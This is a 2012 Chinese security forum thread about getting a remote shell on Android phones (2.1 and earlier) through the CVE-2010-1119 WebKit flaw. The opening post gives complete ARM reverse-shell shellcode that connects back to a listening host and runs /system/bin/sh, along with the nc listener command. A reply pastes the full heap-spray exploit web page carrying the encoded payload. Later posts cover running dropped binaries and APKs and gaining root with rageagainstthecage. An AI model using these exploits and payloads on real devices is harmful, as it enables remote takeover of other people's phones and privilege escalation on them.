首页
社区
课程
招聘
[讨论]有关安卓shell反弹
2012-3-28 20:29 12232

[讨论]有关安卓shell反弹

2012-3-28 20:29
12232
利用的漏洞是cve-2010-1119
把样本网页扔到服务器里,把以下的shellcode替代网页中的shell变量的内容
(貌似样本网页里的shellcode有问题,所以自己写了一个)

        .section .text
        .global _start

        _start:

        .code 32
        add r1,pc,#1
        bx r1

        .code 16
# socket(2, 1, 6)
        mov     r0, #2
        mov     r1, #1
        mov        r2, #6
        lsl     r7, r1, #8
        add     r7, r7, #25
        svc     0

# connect(r0, &addr, 16)
        mov     r6, r0
        add     r1, pc, #40
        mov     r2, #16
        add     r7, #2
        svc     0

# dup2(r0, 0/1/2)
        mov     r7, #63
        sub     r1, r1, r1
        mov     r0, r6
        svc     0
        
        mov     r1, #1
        mov        r0, r6
        svc        0

        mov        r1, #2
        mov        r0, r6
        svc        0
        

# execve("/system/bin/sh",[], 0)
        add     r0, pc, #20
        sub     r2, r2, r2
        push    {r0, r2}
        mov     r1, sp
        mov     r7, #11
        svc     0

# struct sockaddr
.align 2
.short 0x2
.short 0xae08       
.byte 192,168,0,1
.ascii "/system/bin/sh\0\0"

服务器上打开监听端口(nc -v -l 2222)然后用手机访问服务器触发漏洞,得到shell一枚
然后可以远程执行手机里的nc使用另一个端口(不同于2222)接受服务器发送的程序
问题是,有些目录不能写文件,比如/data/app
有些目录能写文件,却又不能执行
我的测试手机没有root过,请问有什么好方法解决权限问题吗?

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx 2012-3-28 21:10
2
0
这是样本网页代码,需要安卓2.1以下版本(包含2.1)

<html>
<!--
This is the exploit used in my Austin bsides presentation that returns a shell. The slides are at http://www.slideshare.net/mjza/bsides
email: mkeith AT exploitscience.org
-->

<head>
<script language="JavaScript">
function heap()
{

var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };

var scode = unescape("\u0060\u0060");
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u1001\ue28f\uff11\ue12f\u2002\u2101\u2206\u020f\u3719\udf00\u1c06\ua10a\u2210\u3702\udf00\u273f\u1a49\u1c30\udf00\u2101\u1c30\udf00\u2102\u1c30\udf00\ua005\u1a92\ub405\u4669\u270b\udf00\u46c0");
shell += unescape("\u0002\uae08");  //port
shell += unescape("\uxxxx\uxxxx");  //ip
shell += unescape("\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u0000");
//shell += unescape("\u622f\u6e69\u732f\u0068");
shell += unescape("\u2000\u2000");  //string terminate

do
{
  scode += scode;
  scode2 += scode2;

} while (scode.length<=0x1000);
  
scode2 += shell
  

        target = new Array();
        for(i = 0; i < 300; i++){
           
            if (i<130){ target[i] = scode;}
            if (i>130){ target[i] = scode2;}

                  document.write(target[i]);
                  document.write("<br />");
                if (i>250){
                       //  alert("freeze");
                         nodes[0].textContent}

}

}, 0);
}
</script>
</head>
<body onload=heap()>
<p id=target></p>
</body>
</html>
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx 2012-3-31 12:15
3
0
欧,有关elf文件的下载执行搞定了,文件写到/data下面然后chmod 777就可以运行了
但我如果把apk文件写到/data下面而不是/data/app(需root权限)下面,能用am start命令运行这个apk吗?
雪    币: 2307
活跃值: (968)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
非虫 7 2012-3-31 15:06
4
0
你chmod也是需要权限的呀,运行APK可以使用dalvikvm
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx 2012-3-31 22:10
5
0
是的,对/data/app文件夹进行chmod 777就失败了。。。
对于apk的执行,大神能不能说得详细一些呢?我把apk转成了jar文件,写到/data/下面,
然后dalvikvm -cp /data/pdx.jar PdxActivity,它显示:

# dalvikvm -cp /data/pdx.jar PdxActivity
dalvikvm -cp /data/pdx.jar PdxActivity
Dalvik VM unable to locate class 'PdxActivity'
java.lang.NoClassDefFoundError: PdxActivity
        at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.ClassNotFoundException: PdxActivity in loader dalvik.system.Pa
thClassLoader[/data/pdx.jar]
        at dalvik.system.PathClassLoader.findClass(PathClassLoader.java:240)
        at java.lang.ClassLoader.loadClass(ClassLoader.java:551)
        at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
        ... 1 more
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
promsied 4 2012-4-2 06:36
6
0
提权
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx 2012-4-4 12:58
7
0
我打算用rageagainstthecage-arm5.bin提权
不过它好象是对adb进程进行exploit,也就是只能用在adb shell里?
我好象见到过把它改成对zygote进程进行exploit,然后编译成apk文件形式运行的版本。。
不知道在漏洞反弹过来的shell里能不能用rageagainstthecage刷root~
游客
登录 | 注册 方可回帖
返回